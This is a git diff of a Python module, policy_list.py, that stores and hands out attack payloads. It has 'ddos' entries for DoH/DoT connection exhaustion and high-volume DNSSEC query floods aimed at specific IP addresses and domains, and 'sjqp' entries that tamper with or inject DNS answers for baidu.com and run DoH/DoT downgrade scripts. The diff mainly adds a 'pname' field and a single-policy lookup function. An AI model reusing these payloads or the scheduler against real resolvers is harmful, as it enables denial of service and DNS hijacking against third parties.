summaryrefslogtreecommitdiff
path: root/server/apps/policy_list.py
diff options
context:
space:
mode:
Diffstat (limited to 'server/apps/policy_list.py')
-rw-r--r--server/apps/policy_list.py76
1 files changed, 37 insertions, 39 deletions
diff --git a/server/apps/policy_list.py b/server/apps/policy_list.py
index ac632a3..9a01c95 100644
--- a/server/apps/policy_list.py
+++ b/server/apps/policy_list.py
@@ -1,51 +1,56 @@
import random
-from exts import db
-from model import Task
ddos_policy_dic = [
# doh python start_reset_att.py
- {"id": "7", "payload": "-n 1"},
- {"id": "7", "payload": "-n 3"},
- # {"id": "7", "payload": "-n 4"},
-
+ {"id": "7", "payload": "-n 1", "pname": "doh"},
+ {"id": "7", "payload": "-n 3", "pname": "doh"},
+ # {"id": "7", "payload": "-n 4", "pname": "doh"},
+
# dot python3 start_pending.py
- {"id": "10", "payload": "-n 2 -wait 50 -round 1"},
- {"id": "10", "payload": "-n 2 -wait 100 -round 5"},
- # {"id": "10", "payload": "-n 2 -wait 300 -round 5"},
+ {"id": "10", "payload": "-n 2 -wait 50 -round 1", "pname": "dot"},
+ {"id": "10", "payload": "-n 2 -wait 100 -round 5", "pname": "dot"},
+ # {"id": "10", "payload": "-n 2 -wait 300 -round 5", "pname": "dot"},
# ipv6 ./prober
- {"id": "5", "payload": "comm.e64.fun. 5000 47.76.237.22"},
- {"id": "5", "payload": "comm.e64.fun. 10000 47.76.237.22 47.242.54.229"},
- {"id": "5", "payload": "comm.e64.fun. 15000 47.76.237.22 47.242.54.229 8.210.135.224"},
-
+ {"id": "5", "payload": "comm.e64.fun. 5000 47.76.237.22", "pname": "ipv6"},
+ {"id": "5", "payload": "comm.e64.fun. 10000 47.76.237.22 47.242.54.229", "pname": "ipv6"},
+ {"id": "5", "payload": "comm.e64.fun. 15000 47.76.237.22 47.242.54.229 8.210.135.224", "pname": "ipv6"},
# dnssec ./dtool
- {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 50 -n 5000"},
- {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 50 -n 5000"},
- {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 200 -n 20000"},
- {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 200 -n 20000"},
- {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 300 -n 30000"},
- {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 300 -n 30000"},
-
+ {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 50 -n 5000", "pname": "dnssec"},
+ {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 50 -n 5000", "pname": "dnssec"},
+ {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 200 -n 20000", "pname": "dnssec"},
+ {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 200 -n 20000", "pname": "dnssec"},
+ {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 300 -n 30000", "pname": "dnssec"},
+ {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 300 -n 30000", "pname": "dnssec"},
]
+
sjqp_policy_dic = [
# sjqp dnssec python proxy.py
- {"id": "4", "payload": ""},
+ {"id": "4", "payload": "", "pname": "dnssec"},
# sjqp ipv6 ./attack.sh
- {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 1.1.1.1 eth0 baidu.com 240b:4001:150:a600:5b9:609e:d0ae:e1b"},
- # {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 2000::1 eth0 victim.duktig.xyz 240b:4001:150:a600:5b9:609e:d0ae:e1b"},
- # {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 2000::2 eth0 baidu.com 240b:4001:150:a600:5b9:609e:d0ae:e1b"},
+ {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 1.1.1.1 eth0 baidu.com 240b:4001:150:a600:5b9:609e:d0ae:e1b", "pname": "ipv6"},
+ # {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 2000::1 eth0 victim.duktig.xyz 240b:4001:150:a600:5b9:609e:d0ae:e1b", "pname": "ipv6"},
+ # {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 2000::2 eth0 baidu.com 240b:4001:150:a600:5b9:609e:d0ae:e1b", "pname": "ipv6"},
- # sjqp doh python downgrade_phase1.py python downgrade_phase1.py
- {"id": "8", "payload": "-tamper baidu.com -a 1.1.1.1 && python degrade_phase2.py -p doh"},
- {"id": "9", "payload": "-inject baidu.com -a 1.1.1.1 && python degrade_phase2.py -p doh"},
+ # sjqp doh python downgrade_phase1.py
+ {"id": "8", "payload": "-tamper baidu.com -a 1.1.1.1 && python degrade_phase2.py -p doh", "pname": "doh"},
+ {"id": "9", "payload": "-inject baidu.com -a 1.1.1.1 && python degrade_phase2.py -p doh", "pname": "doh"},
- # sjqp dot python downgrade_phase1.py python downgrade_phase1.py
- {"id": "11", "payload": "-tamper baidu.com -a 1.1.1.1 && python degrade_phase2.py -p dot"},
- {"id": "12", "payload": "-inject baidu.com -a 1.1.1.1 && python degrade_phase2.py -p dot"},
+ # sjqp dot python downgrade_phase1.py
+ {"id": "11", "payload": "-tamper baidu.com -a 1.1.1.1 && python degrade_phase2.py -p dot", "pname": "dot"},
+ {"id": "12", "payload": "-inject baidu.com -a 1.1.1.1 && python degrade_phase2.py -p dot", "pname": "dot"},
]
+def get_single_policy(policy_type, pname):
+ if policy_type == "ddos":
+ policy_list = ddos_policy_dic
+ elif policy_type == "sjqp":
+ policy_list = sjqp_policy_dic
+ dot_item = next((item for item in policy_list if item["pname"] == pname), None)
+ return dot_item
+
# 用于保存每个用户的索引,结构为 {task_id: {"ddos": index, "sjqp": index}}
index = {}
@@ -77,13 +82,6 @@ def get_policy(policy_type, task_id):
return command
if __name__ == '__main__':
- print(get_policy("sjqp"))
- print(get_policy("sjqp"))
- print(get_policy("ddos"))
- print(get_policy("ddos"))
- print(get_policy("ddos"))
- print(get_policy("ddos"))
- print(get_policy("ddos"))
- print(get_policy("sjqp"))
- print(get_policy("sjqp"))
+ print(get_single_policy("sjqp", "doh"))
+
\ No newline at end of file